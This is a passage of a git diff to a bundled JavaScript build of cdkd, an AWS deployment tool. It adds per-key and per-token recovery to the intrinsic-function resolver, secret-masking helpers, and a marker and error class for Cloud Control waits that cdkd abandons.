+ if (Array.isArray(source)) return source.some(carriesFetchableDynamicReference);
24585
+ if (source !== null && typeof source === "object") return Object.values(source).some(carriesFetchableDynamicReference);
24586
+ return false;
24587
+ }
24588
+ /**
24589
+ * The NAMELESS spellings, which REFUSE rather than fail to fetch.
24590
+ *
24591
+ * `{{resolve:secretsmanager:}}` with an empty argument is a structurally broken
24592
+ * template, and no substitution produces one — an unresolved `Fn::Sub` keeps its
24593
+ * literal `${...}`. `cdkd scrub` has refused on these since
24594
+ * [#2692](https://github.com/go-to-k/cdkd/issues/2692), so the per-unit
24595
+ * recovery must not quietly downgrade one to a skipped token.
24596
+ */
24597
+ const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
24598
+ /**
24599
+ * `err` is a refusal this resolver took ON PURPOSE rather than a step that
24600
+ * failed, so the per-unit recovery must re-raise it and abort the walk.
24601
+ *
24602
+ * The partition is the one `cdkd scrub` already applies on its side
24603
+ * (go-to-k/cdkd#3178), drawn by OWNERSHIP rather than vocabulary: every refusal
24604
+ * here is one THIS repo decides and spells, which is what makes matching it
24605
+ * sound in a way that matching AWS's error text never is. Everything else — any
24606
+ * SDK rejection, any shape this cannot classify — is treated as a failed step
24607
+ * and RECORDED. That asymmetry is deliberate: the residual is a unit reported
24608
+ * as unresolved, never a refusal silently skipped.
24609
+ *
24610
+ * The two halves of the message test open the partition in DIFFERENT
24611
+ * directions, and their EVIDENCE differs — stated separately rather than
24612
+ * asserted together, because only one of them is demonstrated.
24613
+ *
24614
+ * {@link DYNAMIC_REFERENCE_PREFIX} is REACHABLE and tested: a secret id is
24615
+ * template-assembled, so AWS's rejection echoes the name it was handed, and a
24616
+ * parameter named after a marker puts the bare tail inside a message this repo
24617
+ * did not write. Matching the tail alone reads that as a refusal and disarms
24618
+ * recovery for the leaf — restoring exactly the loss #3181 removes.
24619
+ *
24620
+ * The CAUSE walk is defence in depth, and NO reachable wrapping of one of these
24621
+ * throws was found from inside either walk's `try` (the in-repo precedent for
24622
+ * the shape is `role-arn.ts`). It is kept because the two failure directions
24623
+ * are not symmetric: an unrecognised refusal is recorded and walked past, which
24624
+ * is the one residual this partition promises cannot happen, while the cost of
24625
+ * the walk is a bounded chain read. Do not cite it as fenced — it is not.
24626
+ */
24627
+ function isNamelessDynamicReferenceError(err) {
24628
+ if (!(err instanceof Error)) return false;
24629
+ return errorCauseChain(err).some((link) => link.message.includes("Dynamic reference: ") && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((m) => link.message.includes(m)));
24630
+ }
24631
+ function isDeliberateResolutionRefusal(err) {
24632
+ if (!(err instanceof Error)) return false;
24633
+ if (errorCauseChain(err).some((link) => link instanceof IntrinsicResolutionRefusalError)) return true;
24634
+ return isNamelessDynamicReferenceError(err);
24635
+ }
23767
24636
  let cachedAccountIdentity = null;
23768
24637
  /**
23769
24638
  * Cache for availability zones per region
@@ -24995,7 +25864,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
24995
25864
  if (!targetRegion) return ambient;
24996
25865
  const target = canonicalizeRegion(targetRegion);
24997
25866
  const loggedTarget = targetLogText ?? (targetRegion === this.explicitRegion ? this.explicitRegionLogText : void 0) ?? target;
24998
- if (!isClientSafeRegion(target)) throw new Error(`Refusing to build AWS clients for the region '${stripControlChars(loggedTarget).slice(0, 64)}': it is not a valid AWS region name, and a region is substituted into the AWS service hostname.`);
25867
+ if (!isClientSafeRegion(target)) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to build AWS clients for the region '${stripControlChars(loggedTarget).slice(0, 64)}': it is not a valid AWS region name, and a region is substituted into the AWS service hostname.`));
24999
25868
  if (typeof ambient.withRegion !== "function") return ambient;
25000
25869
  const cached = this.regionScopedClients.get(target);
25001
25870
  if (cached) return cached;
@@ -25191,8 +26060,54 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
25191
26060
  this.logger.warn(`A resolution failed while ${parts} still running, and cdkd stopped waiting because the wait after a failure (capped at ${capSeconds}s) was used up. A secret such a part resolves from now on is still recorded, but only what runs after it arrives can mask it: output already printed or saved is not revisited.`);
25192
26061
  }
25193
26062
  /**
25194
- * Recursively resolve a value
25195
- */
26063
+ * Resolve ONE key of a bag, recovering per key when the caller opted in.
26064
+ *
26065
+ * Shared by the two sequential key walks that had this defect — the generic
26066
+ * object walk in {@link resolveValue} and `resolveSub`'s variable map — so
26067
+ * the recovery and the REFUSAL partition cannot drift between them. Both were
26068
+ * bare `for … await` loops, so the first failing key abandoned every later
26069
+ * one (issue go-to-k/cdkd#3218; the variable map was found beside it and is
26070
+ * the same defect, not a second one).
26071
+ *
26072
+ * An abandoned key keeps its INPUT value, matching what the per-token
26073
+ * recovery does with an unfetched token. That is safe only because the bag
26074
+ * obliges its consumer to fail the operation — `ResolverContext`'s field doc
26075
+ * carries the obligation and why it is not optional.
26076
+ *
26077
+ * **The log-twin invariant (issue go-to-k/cdkd#3100) under the KEY ordering**,
26078
+ * which is a separate claim from the token one and was missing while the
26079
+ * token half was stated twice. `matches` / `twinTokens` are built inside
26080
+ * `resolveDynamicReferencesWithLogTwin`, once per STRING LEAF, so the
26081
+ * pairing is leaf-local: a key abandoned beside a leaf never enters that
26082
+ * function for it and cannot shift its indices. Skipping a key changes only
26083
+ * WHICH leaves are visited, never how any visited leaf pairs — and a leaf
26084
+ * that is skipped pairs nothing at all rather than pairing wrongly. Fenced
26085
+ * by the key case in
26086
+ * `tests/unit/deployment/intrinsic-resolver-recovered-sibling-log-masking.test.ts`.
26087
+ *
26088
+ * **Both call sites reach it only when a bag is present, and that gate lives
26089
+ * at the CALL SITE rather than in here on purpose.** `resolveValue` recurses
26090
+ * once per nesting level, so routing every level through a second async
26091
+ * frame roughly doubles the resolver's frame cost for a deeply nested
26092
+ * property and lowers the depth at which it raises `RangeError`. An early
26093
+ * return inside this method would not help — the frame is created by the
26094
+ * call. Gating outside leaves every caller that passes no bag (deploy, diff,
26095
+ * drift, rollback) on exactly the pre-#3218 call shape, which is what makes
26096
+ * "a bagless caller is unchanged" true in the stack dimension too. Measured,
26097
+ * not reasoned: the heavier shape inverted the frame-weight ordering that
26098
+ * `tests/unit/cli/import-observed-baseline-refusal-matrix.test.ts` bisects
26099
+ * for, and that is how it was caught rather than shipped.
26100
+ */
26101
+ async resolveKeyUnit(key, val, context, abandoned) {
26102
+ try {
26103
+ return await this.resolveValue(val, context);
26104
+ } catch (err) {
26105
+ if (isDeliberateResolutionRefusal(err)) throw err;
26106
+ abandoned.push(this.abandonedUnit("key", key, err, context, val));
26107
+ return val;
26108
+ }
26109
+ }
26110
+ /** Recursively resolve a value. */
25196
26111
  async resolveValue(value, context) {
25197
26112
  if (typeof value !== "object" || value === null) {
25198
26113
  if (typeof value === "string" && value.includes("{{resolve:")) return await this.resolveDynamicReferences(value, context);
@@ -25222,7 +26137,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
25222
26137
  if (unknownIntrinsicKey !== void 0) throw buildUnknownIntrinsicError(unknownIntrinsicKey);
25223
26138
  const resolved = {};
25224
26139
  for (const [key, val] of Object.entries(obj)) {
25225
- const resolvedVal = await this.resolveValue(val, context);
26140
+ const resolvedVal = context.abandonedResolutions === void 0 ? await this.resolveValue(val, context) : await this.resolveKeyUnit(key, val, context, context.abandonedResolutions);
25226
26141
  if (resolvedVal !== AWS_NO_VALUE) {
25227
26142
  if (key === "__proto__") Object.defineProperty(resolved, key, {
25228
26143
  value: resolvedVal,
@@ -26491,7 +27406,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
26491
27406
  };
26492
27407
  variables[key] = resolved.result;
26493
27408
  variableTwins[key] = resolved.twin;
26494
- } else variables[key] = await this.resolveValue(val, context);
27409
+ } else variables[key] = context.abandonedResolutions === void 0 ? await this.resolveValue(val, context) : await this.resolveKeyUnit(key, val, context, context.abandonedResolutions);
26495
27410
  } else template = subArgs;
26496
27411
  const replacements = [];
26497
27412
  const matches = template.matchAll(/\$\{(!)?([^}]*)\}/g);
@@ -27353,6 +28268,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
27353
28268
  }
27354
28269
  throw new Error(`Fn::GetStackOutput: stack '${loggedStackName}' not found in region '${loggedRegion}'${roleArn ? ` (cross-account via ${roleArn})` : ""}. ${!roleArn && this.cfnFallback ? "Searched cdkd state and CloudFormation stacks. Make sure the producer stack has been deployed (via cdkd or CloudFormation)." : `Make sure the producer stack has been deployed via cdkd.`}`);
27355
28270
  }
28271
+ if (!hasReadableOutputs(stateData.state)) throw markNonRetryable(new MalformedProducerRecordRefusalError(`Fn::GetStackOutput: the state record of producer stack '${loggedStackName}' (${loggedRegion}) has no readable 'outputs' map — the record is malformed or truncated. cdkd refuses to resolve from it rather than reading it as a map: 'Object.hasOwn' answers TRUE for '0' on a string and for an index on a list, so continuing would resolve ONE CHARACTER or element of the record as this reference's value and this deploy would send it to AWS. Inspect the producer's record with 'cdkd state show' --json, repair or remove it, then re-run.`));
27356
28272
  const outputs = stateData.state.outputs ?? {};
27357
28273
  if (!Object.hasOwn(outputs, outputName)) {
27358
28274
  const available = this.describeAvailableOutputs(Object.keys(outputs), context);
@@ -27719,6 +28635,27 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
27719
28635
  return this.maskNeedlesForLog(text, context) !== text ? "***" : registered;
27720
28636
  }
27721
28637
  /**
28638
+ * Build one {@link AbandonedResolution}, masking BOTH of its text fields.
28639
+ *
28640
+ * One constructor for both walks so neither can grow a second masking rule:
28641
+ * `subject` and `message` are the only fields a consumer may render, and each
28642
+ * carries its own route to a plaintext — an assembled reference puts one in
28643
+ * the raw token (issue #2827), and an SDK rejection arrives RAW through
28644
+ * `sendWithThrottleRetry` echoing the `Name` it was handed. `error` is kept
28645
+ * unmasked on purpose and is documented as classification-only.
28646
+ */
28647
+ abandonedUnit(unit, subject, error, context, rawInput, preRedact) {
28648
+ const raw = error instanceof Error ? error.message : String(error);
28649
+ return {
28650
+ unit,
28651
+ subject: this.maskSecretsForLog(subject, context),
28652
+ message: this.maskSecretsForLog(preRedact === void 0 ? raw : preRedact(raw), context),
28653
+ error,
28654
+ carriedDynamicReference: carriesDynamicReference(rawInput),
28655
+ carriedFetchableReference: carriesFetchableDynamicReference(rawInput)
28656
+ };
28657
+ }
28658
+ /**
27722
28659
  * The needle mask alone: {@link maskSecretsForLog} without the log-twin
27723
28660
  * lookup. For the two DETECTORS that must ask the needle mask apart from the
27724
28661
  * position mask: `logTwinText`, which asks it of a value that already has a
@@ -28130,77 +29067,92 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
28130
29067
  const pairedTwin = tokensAligned ? twinTokens[index] : void 0;
28131
29068
  const tokenLogText = inherited?.tokenLogText ?? (pairedTwin === void 0 ? "***" : this.straddleSafeTwin(fullMatch, pairedTwin, context));
28132
29069
  const nameLogText = inherited?.nameLogText ?? (pairedTwin === void 0 ? () => "***" : this.dynamicReferenceNameLogText(inner, pairedTwin, context));
28133
- const isKnownSecret = service === "secretsmanager" || service === "ssm-secure" || recordedSecretExpressions.has(fullMatch);
28134
- if (isKnownSecret && context?.skipDynamicReferences) continue;
28135
- const regionVerdict = classifyReplaySecretRegion(fullMatch, this.explicitRegion ?? this.resolverRegion, context?.producerRegions);
28136
- if (regionVerdict.kind === "ambiguous") throw markNonRetryable(new DynamicReferenceRegionAmbiguousError(`Refusing to resolve the secret reference ${this.maskSecretsForLog(tokenLogText, context)}: it names '${this.maskSecretsForLog(nameLogText(regionVerdict.secretName), context)}' without a region, and this stack reads from ${this.maskSecretsForLog(regionVerdict.foreignProducerRegions.map((r) => this.maskSecretsForLog(r, context)).join(", "), context)} as well as its own region. cdkd cannot tell which one must answer, and resolving against the wrong one yields a different secret. Spell the reference as a full ARN to say which region owns it.`));
28137
- if (regionVerdict.kind === "named-region") {
28138
- const foreign = await this.resolverForProducerRegion(regionVerdict.region, context, nameLogText(regionVerdict.region)).resolveDynamicReferencesWithLogTwin(fullMatch, fullMatch, withoutProducerRegions(context), {
28139
- tokenLogText,
28140
- nameLogText
28141
- });
28142
- result = result.replace(fullMatch, () => foreign.result);
28143
- twin = twin.replace(fullMatch, () => foreign.twin);
28144
- continue;
28145
- }
28146
- const cached = this.cachedDynamicReferences.get(fullMatch);
28147
- if (cached) {
28148
- if (cached.secret && cached.value) {
28149
- context?.recordedSecretValues?.set(cached.value, fullMatch);
28150
- if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, cached.value);
29070
+ try {
29071
+ const isKnownSecret = service === "secretsmanager" || service === "ssm-secure" || recordedSecretExpressions.has(fullMatch);
29072
+ if (isKnownSecret && context?.skipDynamicReferences) continue;
29073
+ const regionVerdict = classifyReplaySecretRegion(fullMatch, this.explicitRegion ?? this.resolverRegion, context?.producerRegions);
29074
+ if (regionVerdict.kind === "ambiguous") throw markNonRetryable(new DynamicReferenceRegionAmbiguousError(`Refusing to resolve the secret reference ${this.maskSecretsForLog(tokenLogText, context)}: it names '${this.maskSecretsForLog(nameLogText(regionVerdict.secretName), context)}' without a region, and this stack reads from ${this.maskSecretsForLog(regionVerdict.foreignProducerRegions.map((r) => this.maskSecretsForLog(r, context)).join(", "), context)} as well as its own region. cdkd cannot tell which one must answer, and resolving against the wrong one yields a different secret. Spell the reference as a full ARN to say which region owns it.`));
29075
+ if (regionVerdict.kind === "named-region") {
29076
+ const foreign = await this.resolverForProducerRegion(regionVerdict.region, context, nameLogText(regionVerdict.region)).resolveDynamicReferencesWithLogTwin(fullMatch, fullMatch, withoutProducerRegions(context), {
29077
+ tokenLogText,
29078
+ nameLogText
29079
+ });
29080
+ result = result.replace(fullMatch, () => foreign.result);
29081
+ twin = twin.replace(fullMatch, () => foreign.twin);
29082
+ continue;
28151
29083
  }
28152
- result = result.replace(fullMatch, () => cached.value);
28153
- twin = twin.replace(fullMatch, () => cached.secret && cached.value ? "***" : cached.value);
28154
- continue;
28155
- }
28156
- const parts = inner.split(":");
28157
- let resolved;
28158
- let isSecret = isKnownSecret;
28159
- /**
28160
- * May the resolved value be REMEMBERED, or must the next pass re-ask?
28161
- *
28162
- * Cleared for exactly the answers the verdict store refuses to pin — an
28163
- * ssm parameter judged secret from a `Type` that is not a definitive
28164
- * `SecureString` (issue #1901's fail-closed arm). Caching one would pin
28165
- * the transient answer for the whole resolver anyway, which is what the
28166
- * refusal to memoize exists to prevent: before the value cache became
28167
- * instance-scoped this was already true process-wide, and the
28168
- * "next pass re-asks" property only ever held on the comparison path,
28169
- * which caches nothing (issue #1933).
28170
- */
28171
- let cacheable = true;
28172
- if (service === "secretsmanager") resolved = await this.resolveSecretsManagerReference(inner, context, nameLogText);
28173
- else if (service === "ssm") {
28174
- const decrypt = context?.skipDynamicReferences !== true;
28175
- const param = await this.resolveSSMReference(parts, decrypt, "ssm", context, nameLogText);
28176
- if (param.type === "SecureString") this.pinSecretVerdict(fullMatch, true);
28177
- else if (!param.secure) this.pinSecretVerdict(fullMatch, false);
28178
- else cacheable = false;
28179
- isSecret = param.secure;
28180
- if (param.secure) {
28181
- if (!decrypt) continue;
29084
+ const cached = this.cachedDynamicReferences.get(fullMatch);
29085
+ if (cached) {
29086
+ if (cached.secret && cached.value) {
29087
+ context?.recordedSecretValues?.set(cached.value, fullMatch);
29088
+ if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, cached.value);
29089
+ }
29090
+ result = result.replace(fullMatch, () => cached.value);
29091
+ twin = twin.replace(fullMatch, () => cached.secret && cached.value ? "***" : cached.value);
29092
+ continue;
28182
29093
  }
28183
- resolved = param.value;
28184
- } else if (service === "ssm-secure") {
28185
- const param = await this.resolveSSMReference(parts, true, "ssm-secure", context, nameLogText);
28186
- if (!param.secure) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to resolve ${this.maskSecretsForLog(tokenLogText, context)}: the parameter is a ${param.type} parameter, and the ssm-secure spelling is defined for SecureString parameters only. Reference it as {{resolve:ssm:...}} if it is public configuration.`));
28187
- isSecret = true;
28188
- resolved = param.value;
28189
- } else {
28190
- this.logger.warn(this.maskSecretsForLog(`Unsupported dynamic reference service: ${this.maskSecretsForLog(nameLogText(String(service)), context)}`, context));
29094
+ const parts = inner.split(":");
29095
+ let resolved;
29096
+ let isSecret = isKnownSecret;
29097
+ /**
29098
+ * May the resolved value be REMEMBERED, or must the next pass re-ask?
29099
+ *
29100
+ * Cleared for exactly the answers the verdict store refuses to pin — an
29101
+ * ssm parameter judged secret from a `Type` that is not a definitive
29102
+ * `SecureString` (issue #1901's fail-closed arm). Caching one would pin
29103
+ * the transient answer for the whole resolver anyway, which is what the
29104
+ * refusal to memoize exists to prevent: before the value cache became
29105
+ * instance-scoped this was already true process-wide, and the
29106
+ * "next pass re-asks" property only ever held on the comparison path,
29107
+ * which caches nothing (issue #1933).
29108
+ */
29109
+ let cacheable = true;
29110
+ if (service === "secretsmanager") resolved = await this.resolveSecretsManagerReference(inner, context, nameLogText);
29111
+ else if (service === "ssm") {
29112
+ const decrypt = context?.skipDynamicReferences !== true;
29113
+ const param = await this.resolveSSMReference(parts, decrypt, "ssm", context, nameLogText);
29114
+ if (param.type === "SecureString") this.pinSecretVerdict(fullMatch, true);
29115
+ else if (!param.secure) this.pinSecretVerdict(fullMatch, false);
29116
+ else cacheable = false;
29117
+ isSecret = param.secure;
29118
+ if (param.secure) {
29119
+ if (!decrypt) continue;
29120
+ }
29121
+ resolved = param.value;
29122
+ } else if (service === "ssm-secure") {
29123
+ const param = await this.resolveSSMReference(parts, true, "ssm-secure", context, nameLogText);
29124
+ if (!param.secure) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to resolve ${this.maskSecretsForLog(tokenLogText, context)}: the parameter is a ${param.type} parameter, and the ssm-secure spelling is defined for SecureString parameters only. Reference it as {{resolve:ssm:...}} if it is public configuration.`));
29125
+ isSecret = true;
29126
+ resolved = param.value;
29127
+ } else {
29128
+ this.logger.warn(this.maskSecretsForLog(`Unsupported dynamic reference service: ${this.maskSecretsForLog(nameLogText(String(service)), context)}`, context));
29129
+ continue;
29130
+ }
29131
+ if (cacheable) this.cachedDynamicReferences.set(fullMatch, {
29132
+ value: resolved,
29133
+ secret: isSecret
29134
+ });
29135
+ if (isSecret && resolved) {
29136
+ context?.recordedSecretValues?.set(resolved, fullMatch);
29137
+ if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, resolved);
29138
+ if (service === "secretsmanager" || service === "ssm-secure") this.pinSecretVerdict(fullMatch, true);
29139
+ }
29140
+ result = result.replace(fullMatch, () => resolved);
29141
+ twin = twin.replace(fullMatch, () => isSecret && resolved ? "***" : resolved);
29142
+ } catch (err) {
29143
+ if (context?.abandonedResolutions === void 0) throw err;
29144
+ if (isDeliberateResolutionRefusal(err)) throw err;
29145
+ context.abandonedResolutions.push(this.abandonedUnit("token", tokenLogText, err, context, fullMatch, (text) => {
29146
+ let out = text;
29147
+ const segments = [...new Set(inner.split(":"))].filter((segment) => segment.length > 0).sort((a, b) => b.length - a.length);
29148
+ for (const segment of segments) {
29149
+ const logged = nameLogText(segment);
29150
+ if (logged !== segment) out = out.split(segment).join(logged);
29151
+ }
29152
+ return out;
29153
+ }));
28191
29154
  continue;
28192
29155
  }
28193
- if (cacheable) this.cachedDynamicReferences.set(fullMatch, {
28194
- value: resolved,
28195
- secret: isSecret
28196
- });
28197
- if (isSecret && resolved) {
28198
- context?.recordedSecretValues?.set(resolved, fullMatch);
28199
- if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, resolved);
28200
- if (service === "secretsmanager" || service === "ssm-secure") this.pinSecretVerdict(fullMatch, true);
28201
- }
28202
- result = result.replace(fullMatch, () => resolved);
28203
- twin = twin.replace(fullMatch, () => isSecret && resolved ? "***" : resolved);
28204
29156
  }
28205
29157
  if (context) this.rememberLogTwin(context, result, twin);
28206
29158
  return {
@@ -29343,6 +30295,99 @@ function slowCcOperationTimeoutMs(resourceType, operation) {
29343
30295
  }
29344
30296
  }
29345
30297
 
30298
+ //#endregion
30299
+ //#region src/provisioning/wait-abandoned.ts
30300
+ /**
30301
+ * The "cdkd stopped watching an operation that may still be running" marker
30302
+ * (issue [#3236](https://github.com/go-to-k/cdkd/issues/3236), widened by
30303
+ * [#3253](https://github.com/go-to-k/cdkd/issues/3253)).
30304
+ *
30305
+ * `CloudControlWaitAbandonedError` is raised in `cloud-control-provider.ts`,
30306
+ * but FIVE call sites have to refuse it, and three of them live in other
30307
+ * files. Four are GOVERNED by
30308
+ * `tests/unit/provisioning/wait-abandoned-guard-population.test.ts`:
30309
+ *
30310
+ * - `cloud-control-provider.ts`'s own `delete()` catch,
30311
+ * - `deploy-engine.ts`'s replacement delete-then-CREATE arm,
30312
+ * - `deploy-engine.ts`'s template-removal delete arm,
30313
+ * - `destroy-runner.ts`'s per-resource delete loop.
30314
+ *
30315
+ * The FIFTH is `cleanupFailedCreateRemnant`, and it is outside that population
30316
+ * by construction rather than by oversight: its partner classifier is the
30317
+ * REGEX helper `isNotFoundMessage`, which carries no literal needles, so no
30318
+ * needle-driven scan can find it. It has a behavioural case instead, and it
30319
+ * needs the guard for a sharper reason than the other four — that regex is
30320
+ * case-INSENSITIVE, so `getaddrinfo ENOTFOUND ...` matches `/not\s*found/i`.
30321
+ *
30322
+ * Each decides "the resource is already gone" by SUBSTRING-matching the error
30323
+ * message, and each then DROPS the state row. An abandoned wait says the
30324
+ * opposite — the delete may still be running — and its message interpolates
30325
+ * the LOGICAL ID and the last-seen IDENTIFIER, both user- or template-chosen,
30326
+ * so a resource named `PageNotFound` satisfies those needles. Round 1 of
30327
+ * go-to-k/cdkd#3249 guarded the first site with a local `instanceof` and left
30328
+ * the other three, which is what this module exists to fix: ONE predicate the
30329
+ * three foreign sites can import without importing the provider.
30330
+ *
30331
+ * **A marker rather than an exported class + `instanceof`**, for the reason
30332
+ * `markNonRetryable` is one: `deploy-engine.ts` reaches the provider only
30333
+ * through `ProviderRegistry`, so importing the class there would add an edge
30334
+ * into an already dense ring, and a marker survives a wrapper that copies a
30335
+ * message without preserving a prototype.
30336
+ *
30337
+ * **NOT `markNonRetryable`**, though the mechanism is identical: a DELETE or
30338
+ * UPDATE abandonment is deliberately left RETRYABLE so the destroy runner can
30339
+ * re-issue an idempotent delete, and only CREATE is marked. Reusing that
30340
+ * marker would either make the guards miss DELETE — the case that drops a
30341
+ * state row — or make a DELETE non-retryable and lose the recovery.
30342
+ *
30343
+ * A LEAF: no imports, ever. All four consumers sit on the deploy engine ->
30344
+ * rollback executor -> registry -> provider ring, and a new edge into it from
30345
+ * any of them would close a cycle.
30346
+ */
30347
+ const WAIT_ABANDONED_MARKER = Symbol.for("cdkd.waitAbandoned");
30348
+ /**
30349
+ * The `.cause` walk depth, the same bound `retryable-errors.ts` uses. cdkd
30350
+ * wraps errors, so the marked error is routinely one or two hops down.
30351
+ */
30352
+ const MAX_CAUSE_CHAIN_DEPTH = 5;
30353
+ /**
30354
+ * Stamp an error as an abandoned wait.
30355
+ *
30356
+ * `E extends Error`, not `object`: the reader below is a PROTOTYPE-CHAIN
30357
+ * lookup, so marking a class or a shared prototype would silently mark every
30358
+ * instance of it. A non-extensible (frozen / sealed) error is returned
30359
+ * UNMARKED rather than allowed to throw — callers use this inline, so a
30360
+ * `TypeError` raised here would REPLACE the error the caller meant to raise.
30361
+ * Both rules are `markNonRetryable`'s, for its reasons.
30362
+ */
30363
+ function markWaitAbandoned(error) {
30364
+ if (!Object.isExtensible(error)) return error;
30365
+ Object.defineProperty(error, WAIT_ABANDONED_MARKER, {
30366
+ value: true,
30367
+ enumerable: false,
30368
+ configurable: true,
30369
+ writable: false
30370
+ });
30371
+ return error;
30372
+ }
30373
+ /**
30374
+ * True when the error, or anything in its bounded `.cause` chain, was marked
30375
+ * by {@link markWaitAbandoned}.
30376
+ *
30377
+ * Every already-deleted classifier must test this BEFORE its substring match,
30378
+ * and must treat a true answer as "not already deleted" — i.e. re-throw. The
30379
+ * ordering is the whole point: a message-first guard has already decided by
30380
+ * the time it would consult the marker.
30381
+ */
30382
+ function isWaitAbandonedError(error) {
30383
+ let current = error;
30384
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
30385
+ if (current[WAIT_ABANDONED_MARKER] === true) return true;
30386
+ current = current.cause;
30387
+ }
30388
+ return false;
30389
+ }
30390
+
29346
30391
  //#endregion
29347
30392
  //#region src/provisioning/cloud-control-provider.ts
29348
30393
  /**
@@ -29411,6 +30456,297 @@ var CloudControlOperationFailedError = class CloudControlOperationFailedError ex
29411
30456
  }
29412
30457
  };
29413
30458
  /**
30459
+ * Thrown when cdkd STOPPED WAITING on a Cloud Control operation it had already
30460
+ * submitted — never when the operation itself reported a verdict (issue
30461
+ * [#3236](https://github.com/go-to-k/cdkd/issues/3236)).
30462
+ *
30463
+ * Deliberately NOT a subclass of {@link CloudControlOperationFailedError}, and
30464
+ * the distinction is load-bearing in three places that key off that class:
30465
+ * `cleanupFailedCreateRemnant`'s first guard, `delete()`'s structured
30466
+ * `ErrorCode: NotFound` absorption, and `isUpdateUnsupportedError`'s chain
30467
+ * walk. All three ask "what did the handler report", and the answer here is
30468
+ * NOTHING — the handler was still running when cdkd lost sight of it. In
30469
+ * particular the remnant cleanup must not fire: it deletes by
30470
+ * `error.physicalId`, and an identifier seen on an IN_PROGRESS event names a
30471
+ * resource whose create may be about to SUCCEED.
30472
+ *
30473
+ * Carries {@link requestToken} because that token is the only handle on an
30474
+ * operation cdkd has no state record for, and Cloud Control keeps a request's
30475
+ * status queryable by it well after the operation settles. Before this class
30476
+ * the token lived only in `waitForOperation`'s parameter list, so a poll that
30477
+ * threw discarded it and the resource — which AWS went on to create — became
30478
+ * invisible to state, to rollback and to `cdkd destroy`.
30479
+ *
30480
+ * **The protection is the MARKER, not the wording** — `markWaitAbandoned` in
30481
+ * the constructor below, which four already-deleted classifiers test before
30482
+ * their substring match (`src/provisioning/wait-abandoned.ts` names them;
30483
+ * `.claude/rules/cloud-control-wait.md` carries the whole contract). An
30484
+ * earlier revision of this comment said the wording was the protection, and
30485
+ * that is exactly what review disproved: the message interpolates the LOGICAL
30486
+ * ID and the last-seen IDENTIFIER, both user- or template-chosen, so a
30487
+ * resource named `PageNotFound` satisfies every needle no matter how carefully
30488
+ * the template is worded.
30489
+ *
30490
+ * The wording constraint is still KEPT as a second layer — the message avoids
30491
+ * the phrases where it can, the same discipline `src/deployment/delete-outcome.ts`
30492
+ * and `src/provisioning/nested-stack-messages.ts` carry, and
30493
+ * `tests/unit/provisioning/cloud-control-wait-abandoned.test.ts` asserts it
30494
+ * over the RENDERED message (cause text and identifier clause included) rather
30495
+ * than over the template. But it is belt to the marker's braces. Do not reword
30496
+ * this comment back into a claim that it suffices.
30497
+ */
30498
+ var CloudControlWaitAbandonedError = class CloudControlWaitAbandonedError extends ProvisioningError {
30499
+ requestToken;
30500
+ ccOperation;
30501
+ /**
30502
+ * The `Identifier` from the last progress event cdkd managed to read, when
30503
+ * one carried it. Cloud Control populates it on IN_PROGRESS events once the
30504
+ * handler has materialized the resource, so on a CREATE this is frequently
30505
+ * the physical id of the very resource that is about to go untracked — worth
30506
+ * printing, and deliberately NOT worth acting on (see the remnant-cleanup
30507
+ * note above).
30508
+ */
30509
+ lastSeenIdentifier;
30510
+ constructor(message, resourceType, logicalId, requestToken, ccOperation, lastSeenIdentifier, cause) {
30511
+ super(message, resourceType, logicalId, lastSeenIdentifier, cause);
30512
+ this.requestToken = requestToken;
30513
+ this.ccOperation = ccOperation;
30514
+ this.lastSeenIdentifier = lastSeenIdentifier;
30515
+ this.name = "CloudControlWaitAbandonedError";
30516
+ Object.setPrototypeOf(this, CloudControlWaitAbandonedError.prototype);
30517
+ markWaitAbandoned(this);
30518
+ }
30519
+ };
30520
+ /**
30521
+ * Node / undici socket-level failure codes, i.e. the request never reached
30522
+ * Cloud Control or its response never came back.
30523
+ *
30524
+ * Mirrors `@smithy/service-error-classification`'s own
30525
+ * `NODEJS_TIMEOUT_ERROR_CODES` (`ECONNRESET` / `ECONNREFUSED` / `EPIPE` /
30526
+ * `ETIMEDOUT`), widened by the DNS and route shapes a dropped VPN also
30527
+ * produces. The SDK already retries every one of these under STANDARD mode —
30528
+ * three attempts, sub-second — so an error that reaches cdkd here is one the
30529
+ * SDK's own budget did not outlast, not one it declined to retry.
30530
+ */
30531
+ const POLL_TRANSPORT_ERROR_CODES = /* @__PURE__ */ new Set([
30532
+ "ECONNRESET",
30533
+ "ECONNREFUSED",
30534
+ "ECONNABORTED",
30535
+ "EPIPE",
30536
+ "ETIMEDOUT",
30537
+ "ENOTFOUND",
30538
+ "EAI_AGAIN",
30539
+ "EHOSTUNREACH",
30540
+ "ENETUNREACH",
30541
+ "ENETDOWN",
30542
+ "EPROTO"
30543
+ ]);
30544
+ /** SDK error names for a request that timed out or was aborted in transit. */
30545
+ const POLL_TRANSPORT_ERROR_NAMES = /* @__PURE__ */ new Set([
30546
+ "TimeoutError",
30547
+ "RequestTimeout",
30548
+ "RequestTimeoutException",
30549
+ "RequestAbortedException"
30550
+ ]);
30551
+ /**
30552
+ * Matches one of {@link POLL_TRANSPORT_ERROR_CODES} as a whole word inside a
30553
+ * message that lost its `code` property.
30554
+ *
30555
+ * DERIVED from the set rather than hand-spelled, so the two can never disagree
30556
+ * about which codes count — and so the pattern cannot be wrong about a code's
30557
+ * LENGTH, which a hand-written `E[A-Z]{3,10}` was: it is eleven characters
30558
+ * after the `E` in `ECONNREFUSED`, the exact code the issue reported, so the
30559
